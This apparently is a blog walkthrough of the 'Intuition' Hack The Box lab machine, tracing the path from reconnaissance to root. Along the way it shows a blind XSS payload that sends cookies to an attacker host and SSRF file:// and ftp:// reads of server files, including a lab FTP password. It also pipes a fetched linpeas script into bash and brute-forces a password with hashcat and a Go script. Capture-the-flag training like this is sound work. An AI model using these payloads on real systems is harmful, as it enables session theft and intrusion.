Skip to main content
  1. Blog Posts/

Intuition HTB

Table of Contents

In this article, we will cover the step-by-step process of hacking one of the machines on the Hack The Box platform, starting with reconnaissance and ending with gaining superuser privileges. Regardless of your level of expertise, you will find useful tips and techniques to help improve your information security skills.

Details #

Machine: Intuition
Difficulty: Hard
OS: Linux

User flag #

As usual, before we start, we need to scan the server for open ports. Use the nmap tool to scan the network and identify open ports and services.

sudo nmap -sV -sC -O -Pn -oA nmapscan 10.10.11.15
Nmap scan report for comprezzor.htb (10.10.11.15)
Host is up (0.078s latency).
Not shown: 998 closed tcp ports (reset)
PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 8.9p1 Ubuntu 3ubuntu0.7 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   256 b3:a8:f7:5d:60:e8:66:16:ca:92:f6:76:ba:b8:33:c2 (ECDSA)
|_  256 07:ef:11:a6:a0:7d:2b:4d:e8:68:79:1a:7b:a7:a9:cd (ED25519)
80/tcp open  http    nginx 1.18.0 (Ubuntu)
|_http-title: Comprezzor
|_http-server-header: nginx/1.18.0 (Ubuntu)

Nothing worthy of our attention. Next, let’s add the domain to hosts.

echo "10.10.11.15 comprezzor.htb" | sudo tee -a /etc/hosts

Once the scan is complete before viewing the Web page, let’s run a search for subdomains by using the ffuf tool.

ffuf -w /usr/share/seclists/Discovery/DNS/subdomains-top1million-110000.txt -u http://comprezzor.htb -H "HOST: FUZZ.comprezzor.htb"

ffuf result
ffuf result

To get rid of unnecessary results, we exclude responses of size 178.

ffuf -w /usr/share/seclists/Discovery/DNS/subdomains-top1million-110000.txt -u http://comprezzor.htb -H "HOST: FUZZ.comprezzor.htb" -fs 178

ffuf result
ffuf result

This will result in three subdomains and immediately add them to hosts.

echo "10.10.11.15 auth.comprezzor.htb" | sudo tee -a /etc/hosts
echo "10.10.11.15 report.comprezzor.htb" | sudo tee -a /etc/hosts
echo "10.10.11.15 dashboard.comprezzor.htb" | sudo tee -a /etc/hosts

Now we can examine the Web pages. The first one to consider is comprezzor.htb. When opening this domain we see the ability to upload and compress files.

comprezzor.htb
comprezzor.htb
Consider the following subdomains: report.comprezzor.htb.
report.comprezzor.htb
report.comprezzor.htb
To use the report submission form, go to the registration page at auth.comprezzor.htb. After registration and logging into the account, it will be possible to submit reports through the form.
report.comprezzor.htb
report.comprezzor.htb
After the form appears, let’s start searching for an XSS vulnerability. And after a few tries, we’ll find the right payload to exploit Blind XSS. You can read about the vulnerability here Blind XSS

<img src=x onerror=fetch("http://<ip>:<port>/"+document.cookie);>

And eventually we’ll be able to intercept the cookies.

cookies
cookies
Using these cookies, we can access dashboard.comprezzor.htb.
dashboard.comprezzor.htb
dashboard.comprezzor.htb
Looking at all reports, we realize that we have been given the ability to delete, change the status to “resolved” or increase/decrease the importance of the report.
report
report
The next step is not clear yet, let’s try decrypting the user’s cookies for the sake of interest.
base64 decode result
base64 decode result
Having detected user ID 2 and role webdev, assume that there is another user. Given the possibility of increasing the importance of the report, assume that this way the report can be passed to a user with higher privileges. Let’s repeat the steps with Blind XSS, and then increase the importance of the report to get the other user’s cookie. Eventually we will achieve this result:
admin cookies
admin cookies
admin cookies decode
admin cookies decode
Using the admin session, we will access the admin functions and immediately discover the presence of a form for creating PDF reports.
admin panel
admin panel
pdf from report
pdf from report
After unsuccessfully trying to inject a malicious file to execute remote code execution (RCE) on the server by running the local server and transferring the file, let’s try simply specifying our endpoint and looking at the request headers.
request headers
request headers
We’re interested in this line:

User-Agent: Python-urllib/3.11

The server uses the Python-urllib library version 3.11. Let’s try to find information about this library version on the Internet. We can find a vulnerability CVE-2023-24329. Where it says that An issue in the urllib.parse component of Python before 3.11.4 allows attackers to bypass blocklisting methods by supplying a URL that starts with blank characters. It turns out that if this library sees a blank character at the beginning, it will not be able to parse the url address and analyze the address protocol, which, in turn, allows to bypass protocol filtering. Accordingly, using the file scheme, it is possible to get the content of local files on the server.

 file:///etc/passwd

To find out which process is executing this code and with what arguments the process command was called, let’s read the contents of this file.

 file:///proc/self/cmdline

process
process

Let’s read the code of the project entry file.

 file:///app/code/app.py

/app/code/app.py
/app/code/app.py
Let’s pay attention to the secret key, and to the fact that the debug mod is disabled, so let’s continue studying the file. Also note that there is an import of other files at the beginning of the file. Let’s try to get the code of these files for further analysis.

 file:///app/code/blueprints/report/report.py

report.py
report.py
Nothing interesting, let’s keep looking.

 file:///app/code/blueprints/auth/auth.py

auth.py
auth.py
Nothing interesting, let’s keep looking.

 file:///app/code/blueprints/dashboard/dashboard.py

dashboard.py
dashboard.py
In this file we will find data from the FTP account. However, we cannot connect to it directly because the port is closed. We can exploit the SSRF (Server-Side Request Forgery) vulnerability associated with CVE-2023-24329 to access FTP through a local connection.

 ftp://ftp_admin:u3jai8y71s2@ftp.local

ftp_admin files
ftp_admin
Let’s get all the files one by one and save them to ourselves.

 ftp://ftp_admin:u3jai8y71s2@ftp.local/welcome_note.txt
 ftp://ftp_admin:u3jai8y71s2@ftp.local/private-8297.key

Change the access rights to the key file.

chmod 400 private-8297.key

Inside the text file we will find the password to decrypt the private key file.

welcome_note.txt
welcome_note.txt
And successfully get the user flag.
ssh dev_acc
ssh dev_acc

Root flag #

Next, let’s try to find something useful using linpeas.

curl -L http://<ip>:<port>/linpeas.sh | bash

As a result of the scan we will find a user database file and several open ports.

linpeas dbs
linpeas db files
linpeas ports
linpeas ports
Next, for convenience, let’s download the users.db file to ourselves.

scp -i id_rsa dev_acc@comprezzor.htb:/var/www/app/blueprints/auth/users.db ./users.db

Let’s see what data is out there.

users.db
users.db
Having discovered hashed user passwords, let’s try to determine what the hash is by using hashid.
hashid
hashid
And using the documentation, get hash mod 30120. Next, we use hashcat

hashcat -m 30120 hash /usr/share/wordlists/seclists/Passwords/Leaked-Databases/rockyou.txt
# sha256$Z7bcBO9P43gvdQWp$a67ea5f8722e69ee99258f208dc56a1d5d631f287106003595087cf42189fc43:adam gray

The password is not suitable for SSH connection, so we move on to the next step. Given that the attacked machine is running an FTP server, we use the new connection data. And voila, we find three files.

adam ftp
adam ftp
Let’s copy all these files to ourselves and examine the contents. In the run-test.sh file we will find the first 8 characters of the password.
run-test.sh
run-test.sh
When analyzing the code of the runner1.c file, we find that we are dealing with ansible-playbooks, and this code allows us to view, run, or install ansible configurations at /opt/playbooks/. Also note the function that checks the password, and only then allows to run the program.
runner1.c
runner1.c
Let’s analyze this function line by line.

#define AUTH_KEY_HASH "0feda17076d793c2ef2870d7427ad4ed"

// It receives just one auth_key parameter
//  which it gets from the command line in arguments when running the program
int check_auth(const char* auth_key) {
    // calculates the MD5 hash of the auth_key value and stores the result in digest
    unsigned char digest[MD5_DIGEST_LENGTH];
    MD5((const unsigned char*)auth_key, strlen(auth_key), digest);
    char md5_str[33];

    // the loop converts each byte of the digest hash into hex format and stores the result in md5_str
    // The result is a string of 32 characters.
    // md5_str has a size of 33 for the null-terminator, which essentially marks the end of the string
    for (int i = 0; i < 16; i++) {
        sprintf(&md5_str[i*2], "%02x", (unsigned int)digest[i]);
    }

    // at the end the obtained string is compared with the string constant AUTH_KEY_HASH
    if (strcmp(md5_str, AUTH_KEY_HASH) == 0) {
        return 1;
    } else {
        return 0;
    }
}

This function calculates the MD5 of the entered password, then converts it to a hexadecimal string and compares it to AUTH_KEY_HASH. Knowing how the function works and having AUTH_KEY_HASH, we can write code that will simply bruteforce the last 4 characters. We will use the Go programming language for this purpose.

Click to see go code
package main

import (
 "crypto/md5"
 "encoding/hex"
 "fmt"
)

const (
 knownPart  = "UHI75GHI"
 targetHash = "0feda17076d793c2ef2870d7427ad4ed"
 charset = "abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789"
)

func computeMD5Hash(s string) string {
 hash := md5.Sum([]byte(s))
 return hex.EncodeToString(hash[:])
}

func findAuthKey(current string, length int) string {
 if length == 0 {
  candidateKey := knownPart + current
  candidateHash := computeMD5Hash(candidateKey)

  if candidateHash == targetHash {
   return candidateKey
  }
  return ""
 }

 for _, char := range charset {
  result := findAuthKey(current+string(char), length-1)
  if result != "" {
   return result
  }
 }

 return ""
}

func main() {
 length := 4
 authKey := findAuthKey("", length)

 if authKey != "" {
  fmt.Printf("The auth_key is: %s\n", authKey)
 }
}

password
brute force result
After unsuccessful attempts to use this password to connect via SSH or FTP, as well as unsuccessful retrying the linpeas.sh analysis, let’s look through the logs for something useful. For a general search we can use the appropriate commands.

grep -Ril 'password' /var/log/*/*

In the end the logs don’t contain any useful information, let’s move on to searching in the .gz archives.

zgrep -i 'password' -n /var/log/*/*

zgrep result
zgrep result
Having discovered the FTP connection logs for user lopez, we notice that the FTP-server requires a password for this user. To discover the following logs, we will use flow_id, which will successfully locate the user lopez’s data.
zgrep result
zgrep result
After connecting via SSH, let’s check what a user with sudo privileges can accomplish.
ssh lopez
ssh lopez
Note that we can run the runner2 binary under sudo. Let’s copy it to ourselves and try to understand what the application does. At startup, we will notice that the application requires a json file from us.
runner2
runner2
Let’s look at the binary file using ghidra. We will find that after successful opening of the json file, the application looks for the run property.
ghidra
main
We will then see that further action is determined by the value of the action property inside run.
ghidra
main
action can take one of the following values: list -> show list of all .yml files from /opt/playbooks.
ghidra
listPlaybooks
run -> run one of these .yml files.
ghidra
runPlaybook
install -> allows you to install a role using ansible-galaxy.
ghidra
install
ghidra
installRole
We will find that the value of role_file property is embedded as a string in the command, this is the vulnerability that will allow to execute any command from under sudo. It should be noted that there is a validity check for the archive in the code, i.e. we will use something ready-made from the Internet for the archive. Don’t forget about the check_auth function, which checks the password. When viewing the code, we will notice that this is the hash to which we picked up the password with the help of bruteforce. In the json file, the password is located next to the run property.
ghidra
check_auth
With all this knowledge in hand, let’s create our json file.
role.json
role.json
tar archive
tar archive
And we’ll get a root flag.
root.txt
root.txt